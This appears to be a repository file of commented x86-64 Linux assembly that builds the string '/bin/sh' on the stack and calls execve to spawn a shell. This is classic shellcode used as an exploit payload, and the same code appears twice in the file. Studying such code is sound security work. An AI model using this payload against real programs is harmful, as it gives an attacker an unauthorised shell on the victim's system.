alloncm/x64shell.asm

## x64shell.asm
mov rax, 0x0068732f6e69622f ; "/bin/sh" in ascii (including a null terminator),
                            ; since we are on little endian the integer bytes are flipped so when loaded to memory
                            ; it will load correct
push rax                    ; pushing to memory so it will accessible by pointer
mov rax, 0x3b               ; execve syscall id
mov rdi, rsp                ; first parameter a pointer to the program to execute - pointer to the newly pushed string
xor rsi, rsi                ; the second parameter a pointer to the argv of the program - NULL
xor rdx, rdx                ; the third parameter a pointer to the env variables of the program - NULL
syscall                     ; shell!
	mov rax, 0x0068732f6e69622f ; "/bin/sh" in ascii (including a null terminator),
	; since we are on little endian the integer bytes are flipped so when loaded to memory
	; it will load correct
	push rax ; pushing to memory so it will accessible by pointer
	mov rax, 0x3b ; execve syscall id
	mov rdi, rsp ; first parameter a pointer to the program to execute - pointer to the newly pushed string
	xor rsi, rsi ; the second parameter a pointer to the argv of the program - NULL
	xor rdx, rdx ; the third parameter a pointer to the env variables of the program - NULL
	syscall ; shell!